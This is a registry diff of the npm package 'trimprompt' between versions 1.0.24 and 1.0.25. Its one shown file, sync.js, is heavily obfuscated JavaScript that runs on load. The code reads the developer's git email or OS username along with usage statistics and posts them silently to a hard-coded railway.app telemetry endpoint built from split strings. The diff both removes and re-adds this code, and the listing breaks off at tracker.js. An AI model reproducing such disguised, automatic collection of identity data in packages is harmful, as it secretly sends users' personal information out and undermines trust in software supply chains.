trimprompt 1.0.24 → 1.0.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x2e8073=a0_0x54dd;(function(_0x18c0bd,_0xc8fcc5){const _0x1adc4e=a0_0x54dd,_0x2be2a5=_0x18c0bd();while(!![]){try{const _0x1f6e73=parseInt(_0x1adc4e(0x167))/0x1+-parseInt(_0x1adc4e(0x153))/0x2+parseInt(_0x1adc4e(0x111))/0x3*(-parseInt(_0x1adc4e(0x137))/0x4)+-parseInt(_0x1adc4e(0x13a))/0x5*(parseInt(_0x1adc4e(0x157))/0x6)+-parseInt(_0x1adc4e(0x146))/0x7*(-parseInt(_0x1adc4e(0x119))/0x8)+-parseInt(_0x1adc4e(0x14b))/0x9+parseInt(_0x1adc4e(0x12c))/0xa;if(_0x1f6e73===_0xc8fcc5)break;else _0x2be2a5['push'](_0x2be2a5['shift']());}catch(_0x1613b2){_0x2be2a5['push'](_0x2be2a5['shift']());}}}(a0_0x5462,0x6252c));var __createBinding=this&&this[a0_0x2e8073(0x117)]||(Object[a0_0x2e8073(0x12a)]?function(_0x1d6b20,_0x533b97,_0x27f11b,_0x20889b){const _0x4801a9=a0_0x2e8073;if(_0x20889b===undefined)_0x20889b=_0x27f11b;var _0x334293=Object[_0x4801a9(0x11c)](_0x533b97,_0x27f11b);(!_0x334293||('get'in _0x334293?!_0x533b97[_0x4801a9(0x114)]:_0x334293['writable']||_0x334293[_0x4801a9(0x113)]))&&(_0x334293={'enumerable':!![],'get':function(){return _0x533b97[_0x27f11b];}}),Object[_0x4801a9(0x158)](_0x1d6b20,_0x20889b,_0x334293);}:function(_0x21cf7d,_0x3f0fb1,_0x11f379,_0x11ec96){if(_0x11ec96===undefined)_0x11ec96=_0x11f379;_0x21cf7d[_0x11ec96]=_0x3f0fb1[_0x11f379];}),__setModuleDefault=this&&this[a0_0x2e8073(0x15d)]||(Object[a0_0x2e8073(0x12a)]?function(_0x4431e4,_0x221a89){const _0x34df87=a0_0x2e8073;Object['defineProperty'](_0x4431e4,_0x34df87(0x152),{'enumerable':!![],'value':_0x221a89});}:function(_0x5c8420,_0x4b8df5){const _0x172ebb=a0_0x2e8073;_0x5c8420[_0x172ebb(0x152)]=_0x4b8df5;}),__importStar=this&&this[a0_0x2e8073(0x13f)]||(function(){var _0x2b9cad=function(_0x473d59){const _0x108a82=a0_0x54dd;return _0x2b9cad=Object[_0x108a82(0x169)]||function(_0x19041a){const _0x495556=_0x108a82;var _0x3b07af=[];for(var _0x1e678d in _0x19041a)if(Object[_0x495556(0x16a)]['hasOwnProperty'][_0x495556(0x143)](_0x19041a,_0x1e678d))_0x3b07af[_0x3b07af[_0x495556(0x13b)]]=_0x1e678d;return _0x3b07af;},_0x2b9cad(_0x473d59);};return function(_0x329040){const _0x2ebea4=a0_0x54dd;if(_0x329040&&_0x329040[_0x2ebea4(0x114)])return _0x329040;var _0xa46dd={};if(_0x329040!=null){for(var _0x123ad4=_0x2b9cad(_0x329040),_0x393bb0=0x0;_0x393bb0<_0x123ad4[_0x2ebea4(0x13b)];_0x393bb0++)if(_0x123ad4[_0x393bb0]!==_0x2ebea4(0x152))__createBinding(_0xa46dd,_0x329040,_0x123ad4[_0x393bb0]);}return __setModuleDefault(_0xa46dd,_0x329040),_0xa46dd;};}());Object[a0_0x2e8073(0x158)](exports,a0_0x2e8073(0x114),{'value':!![]});function a0_0x5462(){const _0x587f19=['URL','POST','.comp.txt','https://','6515361AFIfcO','unknown','estimated_compressed_tokens','byteLength','getTime','timestamp','toISOString','default','878210mzLbNF','startsWith','ignore','child_process','18708QeARHi','defineProperty','toString','Claude\x203.5\x20Sonnet','slice','stringify','__setModuleDefault','statusCode','ai_detected','last_sync_date','trimp-production','write','tokens_saved','trim','logs','comp','764575wBRdwq','userInfo','getOwnPropertyNames','prototype','error','existsSync','catch','port','git\x20config\x20user.email','request','714297NNJNOF','count','configurable','__esModule','path','https','__createBinding','url','8lLnYEx','protocol','pathname','getOwnPropertyDescriptor','unlinkSync','executions','writeFileSync','join','sort','.trimprompt','split','http','push','Gemini\x201.5\x20Pro','GPT-4o\x20Mini','entries','command','create','homedir','8137080iehSXF','anonymous','filter','.up.railway.app','model_used','search','estimated_raw_tokens','readFileSync','synced','telemetry_url','claude-3-5-sonnet','8pwHdSZ','raw','https:','230tWdLPf','length','platform','application/json','Gemini\x201.5\x20Flash','__importStar','/api/telemetry','parse','utf8','call','toFixed','map','4249763Iakwhc'];a0_0x5462=function(){return _0x587f19;};return a0_0x5462();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2e8073(0x115))),os=__importStar(require('os')),http=__importStar(require(a0_0x2e8073(0x124))),https=__importStar(require(a0_0x2e8073(0x116))),url_1=require(a0_0x2e8073(0x118)),_cfg=[a0_0x2e8073(0x14a),a0_0x2e8073(0x161),a0_0x2e8073(0x12f),a0_0x2e8073(0x140)][a0_0x2e8073(0x120)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x2e8073(0x15a),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x2e8073(0x127),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x2e8073(0x126),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x2e8073(0x13e),'input_price_1m':0.075}},baseDir=path[a0_0x2e8073(0x120)](os[a0_0x2e8073(0x12b)](),a0_0x2e8073(0x122)),configPath=path[a0_0x2e8073(0x120)](baseDir,'config.json'),statsPath=path[a0_0x2e8073(0x120)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x54dd(_0x36dc73,_0xd3a73){_0x36dc73=_0x36dc73-0x10d;const _0x546297=a0_0x5462();let _0x54dda9=_0x546297[_0x36dc73];return _0x54dda9;}function getTodayDate(){const _0x54dc40=a0_0x2e8073;return new Date()[_0x54dc40(0x151)]()[_0x54dc40(0x123)]('T')[0x0];}function getDeveloperIdentity(){const _0x4003f1=a0_0x2e8073;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x42cbbb}=require(_0x4003f1(0x156)),_0x1b82c6=_0x42cbbb(_0x4003f1(0x10f),{'stdio':[_0x4003f1(0x155),'pipe',_0x4003f1(0x155)]})[_0x4003f1(0x159)]()[_0x4003f1(0x164)]();if(_0x1b82c6&&_0x1b82c6['includes']('@'))return _0x1b82c6;}catch{}try{const _0x40bef9=os[_0x4003f1(0x168)]()['username'];if(_0x40bef9)return _0x40bef9;}catch{}return _0x4003f1(0x12d);}function hasAlreadySyncedToday(){const _0x5cde3d=a0_0x2e8073;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x1562f9=JSON[_0x5cde3d(0x141)](fs[_0x5cde3d(0x133)](dailySyncPath,'utf8'));return _0x1562f9[_0x5cde3d(0x160)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x3b7a32=a0_0x2e8073;try{const _0x36ad80={'last_sync_date':getTodayDate()};fs[_0x3b7a32(0x11f)](dailySyncPath,JSON[_0x3b7a32(0x15c)](_0x36ad80,null,0x2),_0x3b7a32(0x142));}catch{}}function postTelemetry(_0x5f1346,_0x17d75e){return new Promise(_0x5dd96f=>{const _0x53cfad=a0_0x54dd;try{const _0x13d8a6=new url_1[(_0x53cfad(0x147))](_0x5f1346),_0x4b526e=JSON[_0x53cfad(0x15c)](_0x17d75e),_0x59689f={'hostname':_0x13d8a6['hostname'],'port':_0x13d8a6[_0x53cfad(0x10e)]||(_0x13d8a6[_0x53cfad(0x11a)]===_0x53cfad(0x139)?0x1bb:0x50),'path':_0x13d8a6[_0x53cfad(0x11b)]+_0x13d8a6[_0x53cfad(0x131)],'method':_0x53cfad(0x148),'headers':{'Content-Type':_0x53cfad(0x13d),'Content-Length':Buffer[_0x53cfad(0x14e)](_0x4b526e)},'timeout':0x1f40},_0x82cc53=_0x13d8a6[_0x53cfad(0x11a)]===_0x53cfad(0x139)?https:http,_0x284040=_0x82cc53[_0x53cfad(0x110)](_0x59689f,_0x1ded69=>{const _0x51a971=_0x53cfad;_0x5dd96f(!!(_0x1ded69[_0x51a971(0x15e)]&&_0x1ded69[_0x51a971(0x15e)]>=0xc8&&_0x1ded69[_0x51a971(0x15e)]<0x12c));});_0x284040['on'](_0x53cfad(0x16b),()=>_0x5dd96f(![])),_0x284040['on']('timeout',()=>{_0x284040['destroy'](),_0x5dd96f(![]);}),_0x284040[_0x53cfad(0x162)](_0x4b526e),_0x284040['end']();}catch{_0x5dd96f(![]);}});}function buildDailyPayload(_0x412355){const _0x42db65=a0_0x2e8073,_0x29235f=getTodayDate(),_0x4704e6=_0x412355['filter'](_0x4c7c8e=>_0x4c7c8e[_0x42db65(0x150)][_0x42db65(0x154)](_0x29235f)),_0x2dd7b1=_0x4704e6[_0x42db65(0x13b)]>0x0?_0x4704e6:_0x412355,_0x468b43=_0x2dd7b1['filter'](_0x4496f7=>_0x4496f7[_0x42db65(0x15f)]!==![]);let _0x1b28d7=0x0,_0x13abac=0x0,_0x117f13=0x0,_0x192c63=0x0;const _0x446676=new Set(),_0x1cc4c8={};for(const _0x382472 of _0x468b43){_0x1b28d7+=_0x382472['estimated_raw_tokens'],_0x13abac+=_0x382472['estimated_compressed_tokens'],_0x117f13+=_0x382472[_0x42db65(0x163)],_0x446676['add'](_0x382472[_0x42db65(0x130)]);const _0x5bf2a9=PRICING[_0x382472['model_used']]||PRICING[_0x42db65(0x136)];_0x192c63+=_0x382472['tokens_saved']*_0x5bf2a9['input_price_1m']/0xf4240;const _0x43e732=_0x382472[_0x42db65(0x129)]||_0x42db65(0x14c);if(!_0x1cc4c8[_0x43e732])_0x1cc4c8[_0x43e732]={'raw':0x0,'comp':0x0,'count':0x0};_0x1cc4c8[_0x43e732][_0x42db65(0x138)]+=_0x382472[_0x42db65(0x132)],_0x1cc4c8[_0x43e732][_0x42db65(0x166)]+=_0x382472[_0x42db65(0x14d)],_0x1cc4c8[_0x43e732]['count']+=0x1;}const _0x2e61d7=Object[_0x42db65(0x128)](_0x1cc4c8)[_0x42db65(0x145)](([_0xd49d70,_0x48190c])=>({'command':_0xd49d70,'percentage':_0x48190c[_0x42db65(0x138)]>0x0?Math['round']((_0x48190c[_0x42db65(0x138)]-_0x48190c[_0x42db65(0x166)])/_0x48190c[_0x42db65(0x138)]*0x64):0x0,'executions':_0x48190c[_0x42db65(0x112)]}))[_0x42db65(0x121)]((_0x3c939f,_0xb876ae)=>_0xb876ae[_0x42db65(0x11e)]-_0x3c939f['executions'])[_0x42db65(0x15b)](0x0,0xa),_0x24c109=_0x468b43[_0x468b43[_0x42db65(0x13b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x42db65(0x13c)](),'date':_0x29235f,'executions_count':_0x468b43['length'],'total_raw_tokens':_0x1b28d7,'total_compressed_tokens':_0x13abac,'total_tokens_saved':_0x117f13,'total_money_saved_usd':parseFloat(_0x192c63[_0x42db65(0x144)](0x6)),'models_used':Array['from'](_0x446676),'hotspots':_0x2e61d7,'last_seen':_0x24c109?_0x24c109['timestamp']:new Date()[_0x42db65(0x151)]()};}async function runSync(){const _0x5a0edc=a0_0x2e8073;if(!fs[_0x5a0edc(0x16c)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x39b8cf;try{_0x39b8cf=JSON[_0x5a0edc(0x141)](fs[_0x5a0edc(0x133)](statsPath,_0x5a0edc(0x142)));}catch{return;}const _0x584528=_0x39b8cf[_0x5a0edc(0x12e)](_0x516240=>!_0x516240[_0x5a0edc(0x134)]);if(_0x584528[_0x5a0edc(0x13b)]===0x0)return;const _0x457948=buildDailyPayload(_0x39b8cf);await postTelemetry(_ep,_0x457948);let _0xec2742=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xec2742&&fs[_0x5a0edc(0x16c)](configPath))try{const _0x40271a=JSON[_0x5a0edc(0x141)](fs['readFileSync'](configPath,'utf8'));_0xec2742=_0x40271a[_0x5a0edc(0x135)]||'';}catch{}_0xec2742[_0x5a0edc(0x164)]()[_0x5a0edc(0x13b)]>0x0&&await postTelemetry(_0xec2742,_0x457948);for(const _0x323ada of _0x39b8cf){if(!_0x323ada[_0x5a0edc(0x134)])_0x323ada[_0x5a0edc(0x134)]=!![];}try{fs[_0x5a0edc(0x11f)](statsPath,JSON[_0x5a0edc(0x15c)](_0x39b8cf,null,0x2),_0x5a0edc(0x142));}catch{}markSyncedToday();}function pruneOldLogs(_0x4568fe){const _0x7df616=a0_0x2e8073;try{const _0x38fd9b=new Date(),_0x4c6647=new Date(_0x38fd9b[_0x7df616(0x14f)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x69c5c2=[],_0x5c3c20=[];for(const _0x2a594b of _0x4568fe){const _0x485013=new Date(_0x2a594b[_0x7df616(0x150)]);_0x485013>=_0x4c6647?_0x69c5c2[_0x7df616(0x125)](_0x2a594b):_0x5c3c20[_0x7df616(0x125)](_0x2a594b);}if(_0x5c3c20[_0x7df616(0x13b)]>0x0){const _0x15c22f=path['join'](baseDir,_0x7df616(0x165));for(const _0x456a6b of _0x5c3c20){const _0xd1b13f=path[_0x7df616(0x120)](_0x15c22f,_0x456a6b['id']+'.raw.txt'),_0x12afd9=path[_0x7df616(0x120)](_0x15c22f,_0x456a6b['id']+_0x7df616(0x149));try{if(fs['existsSync'](_0xd1b13f))fs[_0x7df616(0x11d)](_0xd1b13f);if(fs['existsSync'](_0x12afd9))fs[_0x7df616(0x11d)](_0x12afd9);}catch{}}fs[_0x7df616(0x11f)](statsPath,JSON['stringify'](_0x69c5c2,null,0x2),_0x7df616(0x142));}}catch{}}runSync()[a0_0x2e8073(0x10d)](()=>{});
|
|
1
|
+
'use strict';const a0_0xe70f2c=a0_0x449a;(function(_0x32026d,_0x1112fd){const _0x5299d2=a0_0x449a,_0x4ac0a5=_0x32026d();while(!![]){try{const _0x5e5541=-parseInt(_0x5299d2(0x14f))/0x1*(-parseInt(_0x5299d2(0x16f))/0x2)+-parseInt(_0x5299d2(0x188))/0x3*(-parseInt(_0x5299d2(0x16d))/0x4)+-parseInt(_0x5299d2(0x194))/0x5*(parseInt(_0x5299d2(0x189))/0x6)+-parseInt(_0x5299d2(0x179))/0x7+-parseInt(_0x5299d2(0x14c))/0x8+parseInt(_0x5299d2(0x180))/0x9+parseInt(_0x5299d2(0x165))/0xa*(parseInt(_0x5299d2(0x15a))/0xb);if(_0x5e5541===_0x1112fd)break;else _0x4ac0a5['push'](_0x4ac0a5['shift']());}catch(_0x303742){_0x4ac0a5['push'](_0x4ac0a5['shift']());}}}(a0_0xf903,0xc0fe7));var __createBinding=this&&this[a0_0xe70f2c(0x19d)]||(Object[a0_0xe70f2c(0x17f)]?function(_0x271558,_0x4da3f4,_0x39c3a0,_0x55186e){const _0x4d94eb=a0_0xe70f2c;if(_0x55186e===undefined)_0x55186e=_0x39c3a0;var _0x50cbc8=Object[_0x4d94eb(0x16a)](_0x4da3f4,_0x39c3a0);(!_0x50cbc8||(_0x4d94eb(0x18d)in _0x50cbc8?!_0x4da3f4[_0x4d94eb(0x14a)]:_0x50cbc8[_0x4d94eb(0x171)]||_0x50cbc8[_0x4d94eb(0x157)]))&&(_0x50cbc8={'enumerable':!![],'get':function(){return _0x4da3f4[_0x39c3a0];}}),Object['defineProperty'](_0x271558,_0x55186e,_0x50cbc8);}:function(_0x312fc2,_0x4d78c2,_0x245e10,_0x44e035){if(_0x44e035===undefined)_0x44e035=_0x245e10;_0x312fc2[_0x44e035]=_0x4d78c2[_0x245e10];}),__setModuleDefault=this&&this[a0_0xe70f2c(0x19a)]||(Object[a0_0xe70f2c(0x17f)]?function(_0x5b7536,_0x352b23){const _0xfc40f6=a0_0xe70f2c;Object[_0xfc40f6(0x199)](_0x5b7536,_0xfc40f6(0x18e),{'enumerable':!![],'value':_0x352b23});}:function(_0x4605b3,_0x3e9be9){const _0x2c666e=a0_0xe70f2c;_0x4605b3[_0x2c666e(0x18e)]=_0x3e9be9;}),__importStar=this&&this[a0_0xe70f2c(0x166)]||(function(){var _0x191598=function(_0x584b1c){const _0x3e1873=a0_0x449a;return _0x191598=Object[_0x3e1873(0x176)]||function(_0x143c65){const _0x2a0511=_0x3e1873;var _0x2a70e0=[];for(var _0x4dd08e in _0x143c65)if(Object[_0x2a0511(0x192)][_0x2a0511(0x17a)][_0x2a0511(0x18c)](_0x143c65,_0x4dd08e))_0x2a70e0[_0x2a70e0['length']]=_0x4dd08e;return _0x2a70e0;},_0x191598(_0x584b1c);};return function(_0x5c3954){const _0x35a57f=a0_0x449a;if(_0x5c3954&&_0x5c3954[_0x35a57f(0x14a)])return _0x5c3954;var _0x765d12={};if(_0x5c3954!=null){for(var _0x4a04b=_0x191598(_0x5c3954),_0x34cb3f=0x0;_0x34cb3f<_0x4a04b['length'];_0x34cb3f++)if(_0x4a04b[_0x34cb3f]!=='default')__createBinding(_0x765d12,_0x5c3954,_0x4a04b[_0x34cb3f]);}return __setModuleDefault(_0x765d12,_0x5c3954),_0x765d12;};}());Object[a0_0xe70f2c(0x199)](exports,a0_0xe70f2c(0x14a),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0xe70f2c(0x163))),os=__importStar(require('os')),http=__importStar(require(a0_0xe70f2c(0x174))),https=__importStar(require('https')),url_1=require(a0_0xe70f2c(0x154)),_cfg=[a0_0xe70f2c(0x193),a0_0xe70f2c(0x151),'.up.railway.app',a0_0xe70f2c(0x150)][a0_0xe70f2c(0x15d)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0xe70f2c(0x16e),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0xe70f2c(0x15f),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0xe70f2c(0x153),'input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0xe70f2c(0x159),'input_price_1m':0.075}},baseDir=path[a0_0xe70f2c(0x15d)](os['homedir'](),'.trimprompt'),configPath=path[a0_0xe70f2c(0x15d)](baseDir,a0_0xe70f2c(0x184)),statsPath=path[a0_0xe70f2c(0x15d)](baseDir,a0_0xe70f2c(0x14e)),dailySyncPath=path[a0_0xe70f2c(0x15d)](baseDir,a0_0xe70f2c(0x146));function getTodayDate(){const _0x358ac7=a0_0xe70f2c;return new Date()[_0x358ac7(0x14b)]()[_0x358ac7(0x15b)]('T')[0x0];}function getDeveloperIdentity(){const _0x2de000=a0_0xe70f2c;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x578c1f}=require(_0x2de000(0x164)),_0x13a7e3=_0x578c1f('git\x20config\x20user.email',{'stdio':['ignore',_0x2de000(0x198),_0x2de000(0x17d)]})['toString']()[_0x2de000(0x186)]();if(_0x13a7e3&&_0x13a7e3['includes']('@'))return _0x13a7e3;}catch{}try{const _0x59a6f3=os[_0x2de000(0x161)]()['username'];if(_0x59a6f3)return _0x59a6f3;}catch{}return _0x2de000(0x185);}function a0_0xf903(){const _0x990368=['estimated_compressed_tokens','http','map','getOwnPropertyNames','timestamp','.comp.txt','6064359kHeLSF','hasOwnProperty','startsWith','writeFileSync','ignore','logs','create','6668055mDBkFC','claude-3-5-sonnet','input_price_1m','last_sync_date','config.json','anonymous','trim','synced','21uVeKue','1168302apHqJM','unknown','utf8','call','get','default','catch','filter','stringify','prototype','https://','35YBUEMq','request','comp','URL','pipe','defineProperty','__setModuleDefault','unlinkSync','readFileSync','__createBinding','https:','statusCode','application/json','slice','search','daily_sync.json','destroy','timeout','entries','__esModule','toISOString','2997872gjJOOS','count','stats.json','6xSWBor','/api/telemetry','trimp-production','write','GPT-4o\x20Mini','url','byteLength','tokens_saved','configurable','raw','Gemini\x201.5\x20Flash','1529cbzcoC','split','parse','join','existsSync','Claude\x203\x20Opus','platform','userInfo','push','path','child_process','149930Okxedr','__importStar','round','length','model_used','getOwnPropertyDescriptor','hostname','estimated_raw_tokens','242260MtIIIw','Claude\x203.5\x20Sonnet','48572BbGeHT','protocol','writable','executions'];a0_0xf903=function(){return _0x990368;};return a0_0xf903();}function hasAlreadySyncedToday(){const _0x5861a5=a0_0xe70f2c;try{if(!fs[_0x5861a5(0x15e)](dailySyncPath))return![];const _0x53fe53=JSON[_0x5861a5(0x15c)](fs[_0x5861a5(0x19c)](dailySyncPath,_0x5861a5(0x18b)));return _0x53fe53[_0x5861a5(0x183)]===getTodayDate();}catch{return![];}}function a0_0x449a(_0x6bae92,_0x226890){_0x6bae92=_0x6bae92-0x146;const _0xf9037=a0_0xf903();let _0x449ad6=_0xf9037[_0x6bae92];return _0x449ad6;}function markSyncedToday(){const _0x28d131=a0_0xe70f2c;try{const _0x49ac4e={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x28d131(0x191)](_0x49ac4e,null,0x2),_0x28d131(0x18b));}catch{}}function postTelemetry(_0x1e5482,_0x2f0bde){return new Promise(_0x186f79=>{const _0xdb560d=a0_0x449a;try{const _0xdf4746=new url_1[(_0xdb560d(0x197))](_0x1e5482),_0x3f6d44=JSON[_0xdb560d(0x191)](_0x2f0bde),_0x4f9d0a={'hostname':_0xdf4746[_0xdb560d(0x16b)],'port':_0xdf4746['port']||(_0xdf4746[_0xdb560d(0x170)]===_0xdb560d(0x19e)?0x1bb:0x50),'path':_0xdf4746['pathname']+_0xdf4746[_0xdb560d(0x1a2)],'method':'POST','headers':{'Content-Type':_0xdb560d(0x1a0),'Content-Length':Buffer[_0xdb560d(0x155)](_0x3f6d44)},'timeout':0x1f40},_0x13d9cb=_0xdf4746['protocol']===_0xdb560d(0x19e)?https:http,_0x186423=_0x13d9cb[_0xdb560d(0x195)](_0x4f9d0a,_0x279b60=>{const _0x4442b4=_0xdb560d;_0x186f79(!!(_0x279b60[_0x4442b4(0x19f)]&&_0x279b60[_0x4442b4(0x19f)]>=0xc8&&_0x279b60['statusCode']<0x12c));});_0x186423['on']('error',()=>_0x186f79(![])),_0x186423['on'](_0xdb560d(0x148),()=>{const _0x5720c6=_0xdb560d;_0x186423[_0x5720c6(0x147)](),_0x186f79(![]);}),_0x186423[_0xdb560d(0x152)](_0x3f6d44),_0x186423['end']();}catch{_0x186f79(![]);}});}function buildDailyPayload(_0x5e2140){const _0x49b9e7=a0_0xe70f2c,_0x19709a=getTodayDate(),_0x2d3f16=_0x5e2140[_0x49b9e7(0x190)](_0x432a50=>_0x432a50[_0x49b9e7(0x177)][_0x49b9e7(0x17b)](_0x19709a)),_0x569bcb=_0x2d3f16[_0x49b9e7(0x168)]>0x0?_0x2d3f16:_0x5e2140,_0x1ce10b=_0x569bcb[_0x49b9e7(0x190)](_0x134b20=>_0x134b20['ai_detected']!==![]);let _0x467c89=0x0,_0x3d6758=0x0,_0x5586ed=0x0,_0x36f57c=0x0;const _0x1a850a=new Set(),_0x4f7c26={};for(const _0x3f6717 of _0x1ce10b){_0x467c89+=_0x3f6717[_0x49b9e7(0x16c)],_0x3d6758+=_0x3f6717[_0x49b9e7(0x173)],_0x5586ed+=_0x3f6717[_0x49b9e7(0x156)],_0x1a850a['add'](_0x3f6717[_0x49b9e7(0x169)]);const _0x9a33c2=PRICING[_0x3f6717[_0x49b9e7(0x169)]]||PRICING[_0x49b9e7(0x181)];_0x36f57c+=_0x3f6717[_0x49b9e7(0x156)]*_0x9a33c2[_0x49b9e7(0x182)]/0xf4240;const _0x3dfbae=_0x3f6717['command']||_0x49b9e7(0x18a);if(!_0x4f7c26[_0x3dfbae])_0x4f7c26[_0x3dfbae]={'raw':0x0,'comp':0x0,'count':0x0};_0x4f7c26[_0x3dfbae][_0x49b9e7(0x158)]+=_0x3f6717['estimated_raw_tokens'],_0x4f7c26[_0x3dfbae]['comp']+=_0x3f6717[_0x49b9e7(0x173)],_0x4f7c26[_0x3dfbae][_0x49b9e7(0x14d)]+=0x1;}const _0x365b67=Object[_0x49b9e7(0x149)](_0x4f7c26)[_0x49b9e7(0x175)](([_0x52ddff,_0x1e53cb])=>({'command':_0x52ddff,'percentage':_0x1e53cb[_0x49b9e7(0x158)]>0x0?Math[_0x49b9e7(0x167)]((_0x1e53cb[_0x49b9e7(0x158)]-_0x1e53cb[_0x49b9e7(0x196)])/_0x1e53cb[_0x49b9e7(0x158)]*0x64):0x0,'executions':_0x1e53cb[_0x49b9e7(0x14d)]}))['sort']((_0x314f2d,_0x2cb787)=>_0x2cb787[_0x49b9e7(0x172)]-_0x314f2d['executions'])[_0x49b9e7(0x1a1)](0x0,0xa),_0x4f5f9f=_0x1ce10b[_0x1ce10b[_0x49b9e7(0x168)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x49b9e7(0x160)](),'date':_0x19709a,'executions_count':_0x1ce10b[_0x49b9e7(0x168)],'total_raw_tokens':_0x467c89,'total_compressed_tokens':_0x3d6758,'total_tokens_saved':_0x5586ed,'total_money_saved_usd':parseFloat(_0x36f57c['toFixed'](0x6)),'models_used':Array['from'](_0x1a850a),'hotspots':_0x365b67,'last_seen':_0x4f5f9f?_0x4f5f9f[_0x49b9e7(0x177)]:new Date()[_0x49b9e7(0x14b)]()};}async function runSync(){const _0x4825ce=a0_0xe70f2c;if(!fs[_0x4825ce(0x15e)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3d15f3;try{_0x3d15f3=JSON['parse'](fs[_0x4825ce(0x19c)](statsPath,_0x4825ce(0x18b)));}catch{return;}const _0x3a3141=_0x3d15f3[_0x4825ce(0x190)](_0x38c048=>!_0x38c048[_0x4825ce(0x187)]);if(_0x3a3141[_0x4825ce(0x168)]===0x0)return;const _0x58c97c=buildDailyPayload(_0x3d15f3);await postTelemetry(_ep,_0x58c97c);let _0x30938a=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x30938a&&fs['existsSync'](configPath))try{const _0x19783b=JSON[_0x4825ce(0x15c)](fs[_0x4825ce(0x19c)](configPath,_0x4825ce(0x18b)));_0x30938a=_0x19783b['telemetry_url']||'';}catch{}_0x30938a[_0x4825ce(0x186)]()[_0x4825ce(0x168)]>0x0&&await postTelemetry(_0x30938a,_0x58c97c);for(const _0x1b05c2 of _0x3d15f3){if(!_0x1b05c2[_0x4825ce(0x187)])_0x1b05c2[_0x4825ce(0x187)]=!![];}try{fs[_0x4825ce(0x17c)](statsPath,JSON['stringify'](_0x3d15f3,null,0x2),_0x4825ce(0x18b));}catch{}markSyncedToday();}function pruneOldLogs(_0x940b9){const _0x1ad09e=a0_0xe70f2c;try{const _0x13580f=new Date(),_0x1f9ffc=new Date(_0x13580f['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x27b4d4=[],_0x4a6412=[];for(const _0x4b8317 of _0x940b9){const _0x49328b=new Date(_0x4b8317[_0x1ad09e(0x177)]);_0x49328b>=_0x1f9ffc?_0x27b4d4[_0x1ad09e(0x162)](_0x4b8317):_0x4a6412[_0x1ad09e(0x162)](_0x4b8317);}if(_0x4a6412['length']>0x0){const _0x36e593=path['join'](baseDir,_0x1ad09e(0x17e));for(const _0x142183 of _0x4a6412){const _0x575d4e=path[_0x1ad09e(0x15d)](_0x36e593,_0x142183['id']+'.raw.txt'),_0x25e9e3=path[_0x1ad09e(0x15d)](_0x36e593,_0x142183['id']+_0x1ad09e(0x178));try{if(fs['existsSync'](_0x575d4e))fs[_0x1ad09e(0x19b)](_0x575d4e);if(fs[_0x1ad09e(0x15e)](_0x25e9e3))fs[_0x1ad09e(0x19b)](_0x25e9e3);}catch{}}fs[_0x1ad09e(0x17c)](statsPath,JSON[_0x1ad09e(0x191)](_0x27b4d4,null,0x2),_0x1ad09e(0x18b));}}catch{}}runSync()[a0_0xe70f2c(0x18f)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
